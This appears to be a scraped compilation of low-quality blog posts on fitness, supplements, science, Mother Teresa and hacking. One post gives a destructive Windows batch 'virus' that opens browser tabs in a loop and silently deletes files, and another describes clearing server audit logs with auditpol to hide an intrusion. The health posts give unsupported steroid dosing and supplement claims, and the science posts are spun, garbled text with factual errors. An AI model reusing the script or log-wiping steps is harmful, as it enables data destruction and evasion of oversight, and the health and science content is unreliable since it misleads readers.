Quick Guide: BMI vs BMR

Hi,welcome to KnowledgeSuttra . Today We are taking about difference between BMR and BMI . I found Many people get confused between BMR and BMI, Lets have Quick guide on Difference between these two. I’ll try to keep things as clear as possible

Difference Between BMR and BMI?

BMR(Basal metabolic rate) .Iit give you number calories you need to take in one day. Depending upon your goals ,you can calculate You BMR from below formula .

For male :-
 BMR = 10 × weight(kg) + 6.25 × height(cm) - 5 × age(y) + 5  

For female :-
 BMR = 10 × weight(kg) + 6.25 × height(cm) - 5 × age(y) - 161  

From this formula you can calculate your BMR as well as you can use other online BMR calculator . This formula or online BMR calculator can’t give you accurate result but it can give you basic idea for calories/per day

Fat loss:-

For fat loss you have to 500 calories subtracted from your daily BMR

For Bulking:-

for bulking you have to add 500 calories from your daily BMR so it is called as BMR(Basel metabolic rate)

now move on BMI ..

what is BMI(Body mass Index)?

So it the simple way to know you overweight, underweight and you have normal weight according from your weight and height.

How to calculate your BMI?

from this two simple step you have calculate your BMI

Step 1:-

Divide your weight in kilograms (kg) by your height in meters (m)

Step 2:-

Then divide the answer by your height again to get you high BMI

following rating are knowing for which rating you will be fit In

Your BMI is less than 18.5
Healthy weight
Your BMI is 18.5 to 24.9
Your BMI is 25 to 29.9
Your BMI is 30 or high BMI


Quick guide: What is L-arginine?

Today we are talking about pre-workout supplement. It is not creatine or any other energy drink ..so what is that ? It is L-arginine this the best pre-workout supplement so today we are discussing about L-arginine and their advantage and disadvantage  

what is L-arginine?

It is the pre-workout supplement which helping you give a lot of focus and strength as well as other advantages when your doing workout at gym but how L-arginine helps you ? When arginine enter into body then it change into nitric oxide (NO) as well as nitric oxide is the powerful neurotransmitter to help relaxing the blood vessels and improve blood circulation. Good circulation is good for our body. This blood circulation give great pump when you doing gym and it also gives you vascularity so it is beneficial for gym purposes. Don’t take only for gym purpose arginine, also for people who want live healthy life. It helps remove waste products from kidney, maintain immune system, improve sexual life, maintain hormone system .
So it is the information about L-arginine, now we will talk about advantage and disadvantage Advantages of L-arginene
1. It repair blood vessels
2. Reduce muscle pain
3. Improve sexual life
4. Maintaining immune system
5. Maintain hormone system
6. It improve mental focus
7. Remove waste from kidney
  It does not have any disadvantages when you take as in limit. Our body produces enough amount of L-argnine as well as many food have to help produce L-argnine

Dosages of L-argnine?

For beginner :- 1 gram before workout
For intermediate :- 2 gram before workout
For advance :- 2 to 3 grams before workout
So it is the full information about L-argenine we hope you will under the benefits of L-arginine

Creating Malware’s for Windows Based Computer Without Footprints

Welcome to the hacking Zone. Today we will discuss and create the Virus for Windows based operating system.

Also Read:-
Steps/Phases in System, Server, Organization Hacking

How ?

First we will get the knowledge about windows operating system and later on work with its loopholes. Windows Operating System basically works with .exe files and .bat files and many more but we focuses on the two useful for hacking. File system works

.exe :-

It is the extension for executable files in which big software’s as well as small files can be created with the same name.

.bat :-

It is an extension for the batch files that includes all the commands set that runs at Command Prompt of Windows Machine.

We will discuss about batch file now and executable files will be discussed later.

Fire up command prompt and read all the commands list and try configuring the one after another. But when you are over by doing so you must need a bundle of all commands so that one click can do all your tasks in minor seconds.

Now open up the Notepad.

Click on save

And make sure the following things shown in figure

  1. File icon
  2. File type description
  3. Filename saved with .bat extension
  4. Save file as All Files.

Here is an example of multiple tabs in browser and Deleting a important files from C drive with specified Path

  • @echo off */Turn off opening the Command prompt so that opener shouldn’t have the backend information/*
  • :LoopStart*/Starts the loop as possible in every other language/*
  • Start*/Starts a loop and start new activity/*
  • start www.google.com*/opens a link/*
  • del C:\important\*.* /Q*/Deletes the files/*
  • goto :LoopStart*/Infinite loop/

Don’t run it at self machine.

Thank You

The Reason Behind Rotation of Earth

Hello everyone welcome to KnowledgeSuttra.  Today we are discussing about rotation of earth. Guys did you ever think about that why earth rotate or what make the earth rotate. As we all know to rotate any object it need force which makes object spin. But in the case of earth it is totally opposite. As we know or studied one object which is spinning that slow it’s speed after some time or stop. This happened because of the friction. But in the case of earth there is nothing for friction. In the space there is opposite, in the space we need force to stop object. Without any force object will rotate in the constant speed. Just like that our earth is rotating.

Origin of rotation of earth

The Earth’s unique revolution was a remnant of the original angular momentum of the dust storm, rocks, and gas that mixed to frame the Solar System. This primordial cloud was made out of hydrogen and helium delivered in the Big Bang, and additionally heavier components launched out by supernovas. As this interstellar residue is heterogeneous, any asymmetry amid gravitational growth brought about the precise force of the inevitable planet.

Angular momentum is the perfect example of earth just made for rotate. The Earth framed out of a cloud that fallen. As the cloud crumbled it started turning, which may appear to be odd, however really not pivoting is far more peculiar than turning. The Earth’s turn originates from the underlying inclination to pivot that was bestowed on it when it formed, just the moderately feeble tidal powers from the Moon demonstration to back it off.

Be that as it may, if the giant affect theory for the source of the Moon is right, this primordial turn rate would have been reset by the  affect 4.5 billion years prior. Notwithstanding the speed and tilt of the Earth’s revolution before the effect, it would have encountered multi day somewhere in the range of five hours in length after the effect. Tidal impacts would then have eased back this rate to its cutting edge esteem.


Quick Guide: What is The Cosmic Microwave Background (CMB)

Hello everyone welcome to KnowledgeSuttra. Today’s topic is cosmic microwave background. The cosmic microwave background is present in our universe from the Big Bang. When the universe began some kinds of radiation are present in the universe become  the Big Bang, just like cosmic microwave background (CMB).

The cosmic microwave background (CMB) is present everywhere in the universe, we can’t see the CMB with the naked eye. The cosmic microwave background is to cold in nature, it is just -459.67 degrees Fahrenheit (minus 273.15 degrees Celsius. So CMB is most visible in the microwave part of the electromagnetic spectrum.

More details about CMB

The radiation from the CMB in particles speaking to quantums of light, or other radiation was scattered off the electrons. “In this way, photons meandered through the early universe, similarly as optical light meanders through a thick haze,”. The universe started 13.8 billion years prior, and the CMB goes back to around 400,000 years after the Big Bang. That is on the grounds that in the beginning periods of the universe, when it was only one-hundred-millionth the size it is today, its temperature was extraordinary: 273 million degrees above supreme zero. Any iotas show around then were immediately broken separated into little particles just like protons and electrons.

Around 380,000 years after the Big Bang, the universe was sufficiently cool that hydrogen could frame. Since the CMB photons are scarcely influenced by hitting hydrogen, the photons travel in straight lines. Cosmologists allude to a “surface of last dispersing” when the CMB photons last hit issue; from that point forward, the universe was too huge. So when we outline CMB, we are thinking back so as to 380,000 years after the Big Bang, soon after the universe was hazy to radiation.

Anjezë Gonxhe Bojaxhiu : Gifted as Mother Teresa

Mother Teresa was the author of the Request of the Preachers of Philanthropy, a Roman Catholic gathering of ladies committed to helping poor people. Considered one of the twentieth Century’s most prominent helpful people, she was sanctified as Holy person Teresa of Calcutta in 2016.

On her landing in India, she started by filling in as an instructor; be that as it may, the boundless neediness of Calcutta established a profound connection on her, and this prompted her beginning another request called “The Ministers of Philanthropy”. The essential goal of this mission was to care for individuals, who no one else was set up to take care of. Mother Teresa felt that serving others was a key guideline of the lessons of Jesus Christ.

Let’s have a look at some most peaceful thoughts by her.

Peace Begins with a Smile…

Spread love everywhere you go…Let no one ever come to you without leaving happier.

If we have no peace, it is because we have forgotten that we belong to each other.

St. Teresa of Calcutta: Carrier of God’s Love” by Chas Fagan, 2016. Commissioned by the Knights of Columbus as a gift for the Missionaries of Charity (c) Mother Teresa Center Photo: David Ramsey Courtesy Knights of Columbus

There are no great things, only small things with great love. Happy are those.

If you judge people, you have no time to love them.

Let us always meet each other with smile is the beginning of love…

If you can’t feed a hundred people, then feed just one.

Yesterday is gone. Tomorrow has not yet come. We have only today. Let us begin

Every time you smile at someone, it is an action of love, a gift to that person, a beautiful thing.

I have found the paradox that if I love until it hurts, then there is no hurt, but only more love.

On the 5 September 1997 the great personality leaved all the bonds that she made here but the great thoughts are living in hearts till the date. For sure she will always live in every Heart.


The Theory Of Everything :A Look at the String Theory

Hi,welcome to KnowledgeSuttra .String theory  (or, all the more actually, M-hypothesis) is regularly portrayed as the main contender for the hypothesis of everything in our universe The hypothesis broadly sets that gravitation, and in addition electrons, photons and everything else, are not point-particles but instead subtly modest strips of vitality, or “strings,” that vibrate in various way’s.This essential arrangement of occasions has driven most specialists to consider M-hypothesis the main TOE hopeful, even as its correct definition in a universe like our own remaining parts obscure.

Gracious, and no less than 10 measurements are called for, as well, only for all the math included. Physicists recommend that any measurements past time and obvious space are collapsed up and beyond anyone’s ability to see.

As you likely speculated, super string hypothesis is as yet creating, implying that physicists keep on working out wrinkles in the individual string hypotheses

it is a bringing together material science hypothesis that accommodates the distinctions between quantum theory and the hypothesis of relativity to clarify the idea of every single known power and matter

Quantum hypothesis clarifies the nature and conduct of vitality and matter on the infinitesimal scale, while the hypothesis of relativity clarifies it on the plainly visible scale. Taken together, they shape the reason for present day material science; all things considered, essential parts of the two hypotheses struggle with each other in ways that have never been agreeably tended to.

The reason that general relativity doesn’t work at the subatomic level is on the grounds that the condition erroneously incorporates a figure for point-like particles. Changing the condition to incorporate a portrayal of circles of string, rather, influences the condition to work.

All powers and particles in nature are gotten from varieties in vibrations of strings. For instance, gravity is said to emerge from the most minimal vibration of a shut string.

String scholars are at present inspecting the likelihood that the strings themselves have different measurements, and are not, as was initially thought, mass less Physicists trust that there was just a single power soon after the huge explosion, and as the universe cooled, it split into the four powers we currently watch. String hypothesis is the most mainstream thought for clarifying why these four powers exist, however it has some genuine rivalry.

One of string hypothesis’ most sensational expectations is that we should discover enormous strings. These future billions of light years long, more slender than a proton and tremendously thick. As they could uncover themselves in pictures of inaccessible cosmic systems, the pursuit is on.

Strings are small to the point that when they vibrate they undulate in the three huge measurements, as well as in the extra modest ones.

String hypothesis is an endeavor to depict the entire universe under a solitary “hypothesis of everything” by including additional measurements of space time and considering particles minuscule vibrating circles

Incomprehensibly this makes things significantly more fascinating in light of the fact that that implies string hypothesis is substantially more prescient than we thought it was.”If it is genuine string hypothesis can’t suit stable dull vitality, that might be motivation to question string hypothesis. Yet, to Va-fa it is motivation to question dull vitality—that is, dim vitality in its most famous frame, called a cosmological steady.

— its conditions are fulfilling and its proposed clarifications rich. However, so far it does not have any test prove supporting it—and surprisingly more terrible, any sensible prospects for social occasion such proof


In order to get access into database via Stenography , always there’s a missing thing which is commonly known as Figerprints. Whenever you go/visits any website, the website’s server will have following details :

  1. IP address
  2. MAC address
  3. Browser used
  4. OS used
  5. Including the GEO location, and many sensitive information.

Only if you accessed a website you lost the above listed information to its server now imagine once you hacked/get the entry from its server you can be easily traced back. To avoid this we do the step of covering tracks. In which all information that we lost at the owner’s server. For the same follow listed tools:

  • Auditpol.exe
  • Clearlogs.exe
  • MRU Blaster

You can use any of that but recommended to use Auditpol.exe(command based application available on Windows Server).

Fire up the Windows Server Machine

Open up command prompt in administrator mode.

Now write auditpol

Now it will gives all available options to check the audits. Change as well as clear the audit reports.

Type auditpol /get / category /*

Now type the last command and clean all the entries

auditpol /clear

Here we have discussed the auditpol tool to clear entries present at honeycomb of server.

Honeycomb is structure where each entry of visitor is stored. For any queries let us informed by your comments

Quick guide on How to live Healthy life style

Today we are talking about Healthy Food you need add in your life style,by which you can keep your self healthy. Things which I going to mention here isn’t cost you more, All the these things can easily available in home

so,lets get started

what type of food we need to eat daily to live healthy life?

Early morning with empty stomach have some warm water with honey,it will provide boost to your immune system. Indirectly you’ll have good Cholesterol level and prevent cardiovascular diseases and it also helps in reducing high blood pressure

Afterwords you can have breakfast,you need to add t oats or daliya, sprouts,milk,egg so this food have very good benefits.

Oats or Daliya:-

                           Oats and daliya are made from wheat Wheat consumes lots of fiber as well as low glycemic index. It means it has tendency to digest very slow that why it provides energy for long time.


                    It have lots of benefits and it have rice with vitamins E as well as it is good antioxidant for our body.   It helps to prevent from skin cancer it has many benefits like Boosts Blood Supply, Rich Source of antioxidants,Rich in Iron,Rich in Iron etc this all nutrient are important for our body.


                 As we know milk also important part our life and milk have lots of calcium this calcium are important for our bones


Egg has preventing from hair loss because it has biotin as well as it has omega 3 & 6 fatty acid and this fatty acid good for our brain and heart it also rise our testosterone level

so this is the morning routine lets talk about lunch

In lunch whatever want to eat but you have eat only home food not a street side junk food .When you have to lunch kept in mind you also have to add salad because vitamins also important for our body and it important fill with salad

Then last meal of our day that was dinner, in dinner you eat your normal dinner whatever you want to eat and like lunch you have to add salad

so this is the normal People diet who live life health for that they have to must eat this healthy food.you have also eat junk food but keep ratio only 10%/15% and 90%/85% healthy food

Health & Fitness: Quick Guide on Deca-durabolin

Hi,Welcome to KnowledgeSuttra. Lets have Quick guide on  Steroid,in the Health and Fitness world steroid is one of the buzzword. We already have cover A quick article on myth regarding Steroid. and today we going cover Deca-durabolin Steroid, Mainly Famous in Power-Lifting field.

What is Deca-durabolin ?

It is the anabolic steroids. An (Anabolic Androgenic Steroid) means it repair the tissue and muscle and build muscle rapidly as we say it is very popular steroids in power-lifting and bodybuilding community.It is also know as Nandrolone and 19-nortestosterone and it is mainly use to control on anemia (Anemia is a condition that develops when your blood lacks enough healthy red blood cells or hemoglobin).

It has also advantage that is the result of deca-durabolin injection is we lift the heavy weight than before it means it also give you strength and it is developed in 1950s for treating women’s for osteoporosis (Osteoporosis is a bone disease that occurs when the body loses too much bones)for bodybuilding purpose and bulking steroids.

it’s an important things and it has been different from other steroids structurally it is almost same as testosterone but in dace-durabolin the one change seen in studies that is 19th atom . this change dace-durabolin less harmful than testosterone and reduces risk of side effects like acne and hair loss and it is mainly used by old school bodybuilders

so it is the information about deca durabolin

How to use in safe way ?

As you know it is the steroid but Deca is know as safest steroid in bodybuilding community but it as limitations if you cross the limit you where be seen a side effect safe dosages for deca durabolin 50mg to 400mg per week and the steroids cycle will be taken as 6 week to 8 week so it is safest way to use deca durabolin so it is information about deca durabolin.